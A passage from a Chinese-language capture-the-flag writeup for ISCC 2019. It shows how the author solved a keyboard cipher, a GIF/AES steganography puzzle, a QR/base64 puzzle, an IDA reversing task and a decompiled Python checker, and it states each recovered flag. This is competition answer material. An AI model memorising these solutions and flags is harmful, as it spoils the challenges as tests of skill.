<div id="crayon-5d0fe351b3c13379337311-11" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;QWERTY&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216; &#8216;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-12" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;TRFVB&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;c&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-13" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;QAZSCE&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;k&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-14" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;NBVCXSWERF&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;p&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-15" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;MNBVCDRTGHU&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;r&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-16" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSX&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;i&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-17" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;EFVT&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;y&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-18" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;YHNMKJ&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;b&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-19" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;ZAQWDVFR&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;n&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-20" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;XSWEFTYHNXSWEFTYHN&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;m&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-21" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;EFVGYWDCFT&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;w&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-22" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;TYUIOJM&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;t&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-23" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;QAZXCDEWV&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;t&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-24" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;XSWEFTYHN&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;m&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-25" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;EFVGY&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;v&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-26" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;RGNYGC&#8217;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;x&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-27" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;TRFVG&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;f&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-28" class="crayon-line crayon-striped-line"><span class="crayon-e">print</span><span class="crayon-sy">(</span><span class="crayon-v">STR</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-e">upper</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">解出来</span></p>
<div id="crayon-5d0fe351b3c19171762417" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c19171762417-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c19171762417-1" class="crayon-line"><span class="crayon-v">HELLO</span><span class="crayon-sy">,</span><span class="crayon-st">IN</span> <span class="crayon-e">COMPUTER </span><span class="crayon-v">SECURITY</span><span class="crayon-sy">,</span> <span class="crayon-e">CAPTURE </span><span class="crayon-e">THEFLAG</span> <span class="crayon-sy">(</span><span class="crayon-v"><span class="wpcom_tag_link"><a href="/tags/ctf" title="CTF" target="_blank">CTF</a></span></span><span class="crayon-sy">)</span><span class="crayon-sy">,</span> <span class="crayon-i">A</span> <span class="crayon-e">TYPE </span><span class="crayon-e">OF </span><span class="crayon-v">CRYPTOSPORT</span><span class="crayon-sy">,</span> <span class="crayon-st">IS</span> <span class="crayon-i">A</span> <span class="crayon-e">COMPUTER </span><span class="crayon-e">SECURITY </span><span class="crayon-v">COMPETITION</span><span class="crayon-sy">.</span> <span class="crayon-e">CTF </span><span class="crayon-e">CONTESTS </span><span class="crayon-e">ARE </span><span class="crayon-e">USUALLY </span><span class="crayon-e">DESLGREDNED </span><span class="crayon-st">TO</span> <span class="crayon-e">SERVE </span><span class="crayon-st">AS</span> <span class="crayon-e">AN </span><span class="crayon-e">EDUCATIONAL </span><span class="crayon-e">EXERCISE </span><span class="crayon-st">TO</span> <span class="crayon-e">GIVE </span><span class="crayon-e">PARTICIPANTS </span><span class="crayon-e">EXPERIENCE </span><span class="crayon-st">IN</span> <span class="crayon-i">SECURING</span> <span class="crayon-i">A</span> <span class="crayon-v">MACHINE</span><span class="crayon-sy">,</span> <span class="crayon-st">AS</span> <span class="crayon-e">WELL </span><span class="crayon-st">AS</span> <span class="crayon-e">CONDUCTING </span><span class="crayon-st">AND</span> <span class="crayon-e">REACTING </span><span class="crayon-st">TO</span> <span class="crayon-e">THE </span><span class="crayon-e">SORT </span><span class="crayon-e">OF </span><span class="crayon-e">ATTACKSFOUND </span><span class="crayon-st">IN</span> <span class="crayon-e">THE </span><span class="crayon-e">REAL </span><span class="crayon-e">WORLD</span> <span class="crayon-sy">(</span><span class="crayon-v">I</span><span class="crayon-sy">.</span><span class="crayon-v">E</span><span class="crayon-sy">.</span><span class="crayon-sy">,</span> <span class="crayon-e">BUG </span><span class="crayon-e">BOUNTY </span><span class="crayon-e">PROGRAMS </span><span class="crayon-st">IN</span> <span class="crayon-e">PROFESSIONAL </span><span class="crayon-v">SETTINGS</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span> <span class="crayon-e">HERE</span> <span class="crayon-e">ARE</span> <span class="crayon-e">YOURFLAG</span><span class="crayon-sy">{</span><span class="crayon-e">ISCC </span><span class="crayon-e">KEYBOARD </span><span class="crayon-v">CIPHER</span><span class="crayon-sy">}</span> <span class="crayon-v">REVERSE</span><span class="crayon-o">&#8211;</span><span class="crayon-v">ENGINEERING</span><span class="crayon-sy">,</span> <span class="crayon-e">NETWORK </span><span class="crayon-v">SNIFFING</span><span class="crayon-sy">,</span> <span class="crayon-e">PROTOCOL </span><span class="crayon-v">ANALYSIS</span><span class="crayon-sy">,</span> <span class="crayon-e">SYSTEM </span><span class="crayon-v">ADMINISTRATION</span><span class="crayon-sy">,</span> <span class="crayon-v">PROGRAMING</span><span class="crayon-sy">,</span> <span class="crayon-st">AND</span> <span class="crayon-e">CRYPTANALYSIS </span><span class="crayon-e">ARE </span><span class="crayon-e">ALL </span><span class="crayon-e">SKILLS </span><span class="crayon-e">WHICH </span><span class="crayon-e">HAVE </span><span class="crayon-e">BEEN </span><span class="crayon-e">RETUIRED </span><span class="crayon-e">BY </span><span class="crayon-e">PRIOR </span><span class="crayon-e">CTF </span><span class="crayon-e">CONTESTS </span><span class="crayon-e">AT </span><span class="crayon-e">DEF </span><span class="crayon-v">CON</span><span class="crayon-sy">.</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span spellcheck="false"><code>FLAG{ISCC KEYBOARD CIPHER}</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">ps:我真的觉得加密好烦</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Aesop&#8217;s secret</span></h1>
<p class="md-end-block md-p"><span class="md-plain">给了一张gif图片 用ps打开 发现</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190505161358.png"><img src="https://y4er.com/img/uploads/20190505161358.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">stegsolve file format</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190505161426.png"><img src="https://y4er.com/img/uploads/20190505161426.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<div id="crayon-5d0fe351b3c1b924788753" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c1b924788753-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c1b924788753-1" class="crayon-line"><span class="crayon-e">U2FsdGVk </span><span class="crayon-e">X19QwGkc </span><span class="crayon-e">gD0fTjZx </span><span class="crayon-e">gijRzQOG </span><span class="crayon-e">bCWALh4s </span><span class="crayon-e">RDec2w6x </span><span class="crayon-v">sY</span><span class="crayon-o">/</span><span class="crayon-e">ux53V </span><span class="crayon-v">uj</span><span class="crayon-o">/</span><span class="crayon-e">AMZBD </span><span class="crayon-e">J87qyZL5 </span><span class="crayon-i">kAf1fmAH</span> <span class="crayon-cn">4Oe13Iu4</span> <span class="crayon-cn">35bfRBuZ</span> <span class="crayon-e">gHpnRjTB </span><span class="crayon-v">n5</span><span class="crayon-o">+</span><span class="crayon-e">xsDHO </span><span class="crayon-v">NiR3t0</span><span class="crayon-o">+</span><span class="crayon-i">O</span> <span class="crayon-v">a8yG</span><span class="crayon-o">/</span><span class="crayon-e">tOK </span><span class="crayon-e">JMNUaued </span><span class="crayon-e">vMyN4v4Q </span><span class="crayon-v">KiFunw</span><span class="crayon-o">==</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">aes加密 密匙是ISCC也就是图片中的</span></p>
<p class="md-end-block md-p"><span class="md-plain">两次aes解密后</span><span spellcheck="false"><code>flag{DugUpADiamondADeepDarkMine}</code></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">他们能在一起吗？</span></h1>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190508161111.png"><img src="https://y4er.com/img/uploads/20190508161111.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span><span class="md-plain">送分题</span> <span class="md-plain">扫码得出base64</span><span spellcheck="false"><code>UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=</code></span> <span class="md-plain">解密后</span><span spellcheck="false"><code>PASS{0K_I_L0V3_Y0u!}</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">然后图片分离压缩包，解压密码是上面那个，解压后拿到flag</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Reverse answer to everything</span></h1>
<p class="md-end-block md-p"><span class="md-plain">sha1 得到了一个神秘的二进制文件。寻找文件中的flag，解锁宇宙的秘密。</span> <span class="md-plain">注意：将得到的flag变为ISCC{flag}形式提交。</span></p>
<p class="md-end-block md-p"><span class="md-plain">拖到ida中，main函数f5。</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190501183339.png"><img src="https://y4er.com/img/uploads/20190501183339.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span spellcheck="false"><code>not_the_flag(v4)</code></span><span class="md-plain">跟进</span></p>
<div id="crayon-5d0fe351b3c1d150080352" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c1d150080352-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c1d150080352-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c1d150080352-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c1d150080352-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c1d150080352-5">5</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c1d150080352-1" class="crayon-line"><span class="crayon-st">if</span> <span class="crayon-sy">(</span> <span class="crayon-v">a1</span> <span class="crayon-o">==</span> <span class="crayon-cn">42</span> <span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c1d150080352-2" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-e">puts</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;Cipher from Bill \nSubmit without any tags\n#kdudpeh&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c1d150080352-3" class="crayon-line"><span class="crayon-h">  </span><span class="crayon-st">else</span></div>
<div id="crayon-5d0fe351b3c1d150080352-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-e">puts</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;YOUSUCK&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c1d150080352-5" class="crayon-line"><span class="crayon-h">  </span><span class="crayon-st">return</span> <span class="crayon-cn">0LL</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">将</span><span spellcheck="false"><code>kdudpeh</code></span><span class="md-plain">sha1加密后就是flag，注意格式。</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">简单Python</span></h1>
<p class="md-end-block md-p"><span class="md-plain">给了个pyc文件，用</span><span spellcheck="false"><code>uncompyle</code></span><span class="md-plain">反编译下</span></p>
<p class="md-end-block md-p"><span class="md-plain">最好使用Linux pip安装 </span><span spellcheck="false"><code>pip install uncompyle</code></span></p>
<div id="crayon-5d0fe351b3c1f117739873" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c1f117739873-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c1f117739873-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c1f117739873-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c1f117739873-1" class="crayon-line"><span class="crayon-v">uncompyle6</span> <span class="crayon-o">&#8212;</span><span class="crayon-i">help</span>查看帮助</div>
<div id="crayon-5d0fe351b3c1f117739873-2" class="crayon-line crayon-striped-line"><span class="crayon-e">uncompyle6 </span><span class="crayon-v">models</span><span class="crayon-sy">.</span><span class="crayon-v">pyc</span> <span class="crayon-o">&gt;</span> <span class="crayon-v">models</span><span class="crayon-sy">.</span><span class="crayon-i">py</span> 将<span class="crayon-v">models</span><span class="crayon-sy">.</span><span class="crayon-i">pyc</span>反编译成<span class="crayon-i">py</span>文件</div>
<div id="crayon-5d0fe351b3c1f117739873-3" class="crayon-line"><span class="crayon-v">uncompile</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">o</span> <span class="crayon-sy">.</span> <span class="crayon-o">*</span><span class="crayon-sy">.</span><span class="crayon-i">pyc</span> 将当前文件夹中所有的<span class="crayon-i">pyc</span>文件反编译成后缀名为<span class="crayon-sy">.</span><span class="crayon-v">pyc</span><span class="crayon-sy">_</span>dis的源文件</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">uncompyle6 pyc.pyc</span></p>
<div id="crayon-5d0fe351b3c21392876681" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c21392876681-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c21392876681-19">19</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c21392876681-1" class="crayon-line"><span class="crayon-e">import </span><span class="crayon-e">base64</span></div>
<div id="crayon-5d0fe351b3c21392876681-2" class="crayon-line crayon-striped-line"></div>
<div id="crayon-5d0fe351b3c21392876681-3" class="crayon-line"><span class="crayon-e">def </span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-v">message</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c21392876681-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-v">message</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-6" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-v">x</span> <span class="crayon-o">=</span> <span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span> <span class="crayon-cn">32</span></div>
<div id="crayon-5d0fe351b3c21392876681-7" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-v">x</span> <span class="crayon-o">=</span> <span class="crayon-v">x</span> <span class="crayon-o">+</span> <span class="crayon-cn">16</span></div>
<div id="crayon-5d0fe351b3c21392876681-8" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-v">s</span> <span class="crayon-o">+=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c21392876681-9" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c21392876681-10" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64encode</span><span class="crayon-sy">(</span><span class="crayon-v">s</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c21392876681-11" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c21392876681-12" class="crayon-line crayon-striped-line"><span class="crayon-v">correct</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;eYNzc2tjWV1gXFWPYGlTbQ==&#8217;</span></div>
<div id="crayon-5d0fe351b3c21392876681-13" class="crayon-line"><span class="crayon-v">flag</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c21392876681-14" class="crayon-line crayon-striped-line"><span class="crayon-i">print</span> <span class="crayon-s">&#8216;Input flag:&#8217;</span></div>
<div id="crayon-5d0fe351b3c21392876681-15" class="crayon-line"><span class="crayon-v">flag</span> <span class="crayon-o">=</span> <span class="crayon-e">raw_input</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c21392876681-16" class="crayon-line crayon-striped-line"><span class="crayon-st">if</span> <span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-v">flag</span><span class="crayon-sy">)</span> <span class="crayon-o">==</span> <span class="crayon-v">correct</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-17" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">print</span> <span class="crayon-s">&#8216;correct&#8217;</span></div>
<div id="crayon-5d0fe351b3c21392876681-18" class="crayon-line crayon-striped-line"><span class="crayon-st">else</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c21392876681-19" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-i">print</span> <span class="crayon-s">&#8216;wrong&#8217;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">自定义了加密方法</span><span spellcheck="false"><code>encode</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">给出我的逆向解密脚本</span></p>
<div id="crayon-5d0fe351b3c22818994869" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c22818994869-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c22818994869-18">18</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c22818994869-1" class="crayon-line"><span class="crayon-e">import </span><span class="crayon-e">base64</span></div>
<div id="crayon-5d0fe351b3c22818994869-2" class="crayon-line crayon-striped-line"><span class="crayon-e">def </span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-v">message</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c22818994869-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-v">message</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-5" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-v">s</span> <span class="crayon-o">+=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span> <span class="crayon-cn">32</span><span class="crayon-o">+</span> <span class="crayon-cn">16</span><span class="crayon-sy">)</span></div>
